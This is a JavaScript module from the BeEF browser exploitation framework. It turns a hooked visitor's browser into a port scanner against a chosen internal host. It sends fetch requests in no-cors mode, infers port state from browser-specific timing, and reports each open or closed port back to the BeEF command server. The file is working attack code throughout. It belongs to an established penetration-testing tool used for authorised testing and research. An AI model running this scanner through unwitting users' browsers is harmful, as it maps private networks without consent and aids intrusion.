Path: blob/master/modules/network/fetch_port_scanner/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// some basic variables to get us started9var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 548, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ];10var default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ];11var default_services = {'1':'tcpmux', '5':'rje', '7':'echo', '9':'msn', '15':'netstat', '20':'ftp-data', '21':'ftp', '22':'ssh', '23':'telnet', '25':'smtp', '26':'rsftp', '29':'msgicp', '33':'dsp', '37':'time', '42':'nameserver', '43':'whois', '53':'domain', '67':'dhcps', '68':'dhcpc', '69':'tftp', '70':'gopher', '76':'deos', '79':'finger', '80':'http', '81':'hosts2-ns', '88':'kerberos-sec', '90':'dnsix', '98':'linuxconf', '101':'hostname', '106':'pop3pw', '109':'pop2', '110':'pop3', '111':'rpcbind', '113':'ident', '114':'audio news', '115':'sftp', '118':'sqlserv', '119':'nntp', '123':'ntp', '129':'pwdgen', '132':'cisco-sys', '133':'statsrv', '135':'msrpc', '136':'profile', '137':'netbios-ns', '138':'netbios-dgm', '139':'netbios-ssn', '143':'imap', '144':'news', '156':'sqlserv', '158':'pcmail-srv', '161':'snmp', '162':'snmp trap', '168':'rsvd', '174':'mailq', '177':'xdmcp', '194':'irc', '197':'dls', '199':'smux', '209':'tam', '213':'ipx', '217':'dbase', '219':'uarps', '220':'imap3', '223':'cdc', '264':'bgmp', '315':'dpsi', '316':'decauth', '346':'zserv', '353':'ndsauth', '389':'ldap', '413':'smsp', '414':'infoseek', '415':'bnet', '416':'silver platter', '440':'sgcp', '443':'https', '444':'snpp', '445':'microsoft-ds', '453':'creativeserver', '454':'content server', '456':'macon', '457':'scohelp', '458':'appleqtc', '462':'datasurfsrvsec', '464':'kpasswd5', '465':'smtps', '466':'digital-vrc', '480':'loadsrv', '486':'sstats', '497':'retrospect', '500':'isakmp', '501':'stmf', '515':'printer (spooler lpd)', '516':'videotex', '518':'ntalk', '522':'ulp', '523':'ibm-db2', '524':'ncp', '525':'timed', '526':'tempo', '533':'netwall', '535':'iiop', '538':'gdomap', '540':'uucp', '541':'uucp-rlogin', '542':'commerce', '543':'klogin', '544':'kshell', '545':'ekshell', '546':'dhcpconf', '547':'dhcpserv', '548':'afp', '556':'remotefs', '557':'openvms-sysipc', '560':'rmonitor', '561':'monitor', '563':'snews', '564':'9pfs', '587':'submission', '625':'apple-xsrvr-admin', '626':'apple-imap-admin', '631':'ipp', '636':'ldapssl', '637':'lanserver', '660':'mac-srvr-admin', '664':'secure-aux-bus', '666':'doom', '683':'corba-iiop', '740':'netcp', '741':'netgw', '742':'netrcs', '744':'flexlm', '747':'fujitsu-dev', '748':'ris-cm', '749':'kerberos-adm', '750':'kerberos', '751':'kerberos_master', '752':'qrh', '753':'rrh', '754':'krb_prop', '758':'nlogin', '760':'krbupdate', '761':'kpasswd', '762':'quotad', '763':'cycleserv', '764':'omserv', '765':'webster', '767':'phonebook', '771':'rtip', '773':'submit', '774':'rpasswd', '775':'entomb', '776':'wpages', '780':'wpgs', '781':'hp-collector', '782':'hp-managed-node', '783':'spam assassin', '786':'concert', '787':'qsc', '799':'controlit', '800':'mdbs_daemon', '801':'device', '808':'ccproxy-http', '871':'supfilesrv', '873':'rsync', '888':'access builder', '898':'sun-manageconsole', '901':'samba-swat', '953':'rndc', '989':'ftps-data', '990':'ftps', '992':'telnets', '993':'imaps', '994':'ircs', '995':'pop3s', '996':'xtreelic', '997':'maitrd', '998':'busboy', '999':'garcon', '1000':'cadlock', '1002':'windows-icfw', '1008':'ufsd', '1023':'netvenuechat', '1024':'kdm', '1025':'NFS-or-IIS', '1080':'socks', '1433':'mssql', '1434':'ms-sql-m', '1521 ':'oracle', '1720':'h323q931', '1723':'pptp', '3306':'mysql', '3389':'ms-wbt-server', '4489':'radmin', '5000':'upnp', '5060':'sip', '5432':'postgres', '5900':'vnc', '6000':'x11', '6001':'X11:1', '6446':'mysql-proxy', '8050':'coldfusion', '8080':'http-proxy', '8443':'tomcat', '8888':'sun-answerbook', '9100':'HP JetDirect card', '10000':'snet-sensor-mgmt', '10088':'zend server', '11371':'hkp'};12var top_ports = [80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, 1720, 465, 548, 113, 81, 6001, 10000, 5060, 515, 5000, 9100];13var host = '<%= @ipHost %>';14var ports = '<%= @ports %>';15var port = "";16var ports_list= [];1718// function to take the ports provided and turn them into a working array19function prepare_ports() {20// Default ports to scan21if (ports == 'default') {22// nmap most used ports to scan + some new ports23for ( var i=0; i<default_ports.length; i++) {24ports_list[i] = default_ports[i];25}26}27else if (ports == 'top') {28// nmap most used ports to scan + some new ports29for ( var i=0; i<top_ports.length; i++) {30ports_list[i] = top_ports[i];31}32}33else {34// Custom ports provided to scan35if (ports.search(",") > 0) ports_list = ports.split(","); // list of ports36else if (ports.search("-") > 0) {37var firstport = parseInt(ports.split("-")[0]); // range of ports, start38var lastport = parseInt(ports.split("-")[1]); // range of ports, end39var a = 0;40for (var i = firstport; i<=lastport; i++) {41ports_list[a] = firstport + a;42a++;43}44}45else ports_list = ports.split(); // single port46}47}4849// function to check if port to be scanned is in the browser ERR_UNSAFE_PORT list50function check_blocked(port_to_check) {51var res = false;52for (var i=0; i<blocked_ports.length; i++) {53if (port_to_check == blocked_ports[i]) {54res = true;55}56}57return res;58}5960// function to use fetch for port scanning61function fetch_scan(hostname, port_) {62// check if port that is to be scanned is part of the banned list and report back to the BeEF server63if (check_blocked(parseInt(port_))) {64beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.are.status_success());65return;66}67// define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds]68var controller = new AbortController();69var signal = controller.signal;70setTimeout(() => {controller.abort();}, 5000);71// record the time so that if the browser is Chrome/Chromium based timing differences can be used to determine port state72var start = Date.now();73// setting no-cors here will return a response type of opaque. This means the status code will always be 0 see the following for more details:74// * https://fetch.spec.whatwg.org/#concept-filtered-response-opaque75// if we don't set the mode we will always receive the 'blocked by CORS policy' response even if the traffic isn't HTTP based.76fetch('http://' + hostname + ":"+port_, {77method: 'GET',78mode: 'no-cors',79signal: signal,80})81// what to do after fetch returns82.then(function(res){83// If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not84// and or Chrome received HTTP based traffic.85if (res.status === 0) {86beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success());87}88})89// If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic.90.catch(err => {91// Alert BeEF if we are giving up due to the port not responding for N seconds92if (signal.aborted === true) {93beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.are.status_success());94}95else {96// We need to capture how long it took to fail ASAP to get an idea on timing differences97end=Date.now();98// A basic browser check so that we don't do timing based stuff on Firefox as it is not needed99var isFirefox = typeof InstallTrigger !== 'undefined';100if (isFirefox === true) {101if (navigator.platform === 'Win32') {102if ((end - start) > 600 ) {103beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());104}105else {106beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success());107}108}109else {110beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());111}112}113else {114// console.log('does it work')115// // console.log(end-start)116// // This is a little sketchy but the only way to tell in Chrome/Chromium if the port is open. Basically sub 11ms connection was refused117// // check if windows or linux118if (navigator.platform === 'Win32') {119if ((end - start) > 121 ) {120beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());121}122else {123beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success());124}125}126else if (navigator.platform.toLowerCase().includes('linux')) {127// this is for linux128if ((end - start) < 11 ) {129beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success());130}131else {132beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success());133}134}135else {136beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.are.status_success());137}138}139}140})141}142// sleep function to support async scanning143function sleep(ms) {144return new Promise(resolve => setTimeout(resolve, ms));145}146// parse the provided ports147prepare_ports();148// defining an async function to loop through the provided port list149async function run() {150// if some how we received no ports, bail.151if (ports_list.length < 1) {152beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scan aborted, no valid ports provided to scan');153return;154}155// process the provided port variable156else {157desc = '';158if (ports == 'default' || ports == 'top') {159desc = ports + ' ports on ';160}161beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning ' + desc + host+' [ports: ' + ports_list + ']');162}163count = 0;164// Determine if browser is Firefox or not if it is no need for rate limited scanning165var isFirefox = typeof InstallTrigger !== 'undefined';166while (count < ports_list.length) {167// this if/else statement is to account for the necessary sleep we need for chrome.168if (isFirefox === true) {169// proceed without sleep170fetch_scan(host, ports_list[count]);171}172else {173// delay each request by 2 seconds to limit false positives174fetch_scan(host, ports_list[count]);175await sleep(2000);176}177count+=1;178}179// wait to ensure that all scans are complete and then report back to BeEF that the scan is finished180await sleep(6000);181if(count >= ports_list.length) {182beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Scan Finished');183}184}185// execute the main async function186run()187});188189190